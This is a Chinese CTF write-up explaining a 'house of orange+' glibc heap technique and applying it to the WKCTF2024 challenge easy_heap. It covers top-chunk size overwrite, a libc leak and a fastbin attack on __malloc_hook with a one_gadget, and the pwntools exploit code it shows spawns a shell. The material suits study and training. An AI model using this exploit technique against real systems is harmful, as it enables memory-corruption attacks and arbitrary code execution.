• [原创]house of orange的进一步利用（house of orange+）

在最近的WKCTF2024中，遇到了一道简单题目easy_heap。但是偶然间发现在以下条件满足时的一种利用方法：

  1. 不能释放chunk（无free）
  2. 可以申请、编辑和输出多个chunk（add, edit, show）
  3. 存在堆溢出

在此情况下，可以通过house of orange的进一步利用。这里简记为house of range+。

原理概述

在house of orange中，我们经常利用修改topchunk的大小来获得一个unsorted bin，本质上是触发了_int_malloc在use_top段调用的sysmalloc：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
use_top:
    victim = av->top;
    size = chunksize (victim);
 
    /*如果可以，就切割topchunk，返回被切下的chunk*/
    if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {...}
 
    /* 如果topchunk大小不足，则尝试触发malloc_consolidate，合并fastbin */
    else if (have_fastchunks (av)) {...}
 
    /*如果上述情况都不满足需求，则触发sysmalloc*/
    else
    {
        void *p = sysmalloc (nb, av);
        if (p != NULL)
        alloc_perturb (p, bytes);
        return p;
    }

这是sysmalloc中对旧的topchunk的处理：

1
2
3
4
5
6
7
if (old_size >= MINSIZE)
{
    set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
    set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
    set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
    _int_free (av, old_top, 1); //将old_top释放
}

这里本质上就是释放一个大小为old_top的chunk，如果我们通过构造topchunk的大小，让其小于等于0xa0，那么就可以让old_top置入0x80大小的fastbin中。而后可以继续基于fastbin的攻击，如fastbin attack。

这里分析的是对应题目环境的glibc版本，版本为2.23。但是这个方法在高版本中仍然可用，被释放的old_top满足条件的话会进入tcache。

house of orange+可以在没有free而且要求不太严格的情况下快速构造攻击payload。

例题：WKCTF2024 easy_heap

静态分析

题目只有add, show, edit三个选项：

ida1

而且edit中存在任意长度溢出：

ida2

而且show中只显示chunk的前8个字节：

ida3

由于没有free，可以先利用house of orange构造unsorted bin，泄露libc地址；然后考虑上文介绍的方法，构造进入fastbin的chunk，打fastbin attack。

泄露libc

先构造unsorted bin，这里由于题目远程环境不稳定，不能接收过长的payload，所以透过申请多个chunk来控制topchunk的大小

1
2
3
4
5
add(0xbf0, b'a')#0
add(0x078, b'a')#1
edit(1, 0x78 + 8, flat(cyclic(0x78), 0x381), False)
 
add(0x3f0, b'a')#2

orange1

这里我们切割unsorted bin中的chunk，泄露libc

1
2
3
4
5
add(0x208, b'')#3
 
show(3)
libc.address = u64(c.recvuntil(b'\0\0')[-8:]) - 0x3c4e0a
success(f"libcbase = {hex(libc.address)}")

orange2

构造fastbin

接下来我们控制topchunksize的低12位为0x091

1
2
add(0x7f0, b'a')#4
add(0x360, b'a')#5

topchunk

然后修改topchunk的大小为0x90，触发_int_free将old_top置入fastbin

1
2
edit(5, 0x360 + 0x10 + 8, flat(cyclic(0x368), 0x91))
add(0x460, b'a')#6

fastbin

这样我们就得到了一个fastbin。

fastbin attack

可以通过chunk6的溢出打fastbin attack：

1
2
3
4
5
6
7
8
9
edit(5, 0x360 + 0x18, flat(cyclic(0x368), 0x71, libc.sym['__malloc_hook']-0x23), False)
add(0x68, b'a')#11
ogg = libc.address + 0xf1247
 
add(0x68, b'a'*0x13 + p64(ogg))#12 -> &__malloc_hook - 0x13
 
cmd(1)
c.sendline(b'10')
c.interactive()

getshell

总结

虽然有很多别的方法可以利用，但house of orange+可以更方便快速地找到攻击payload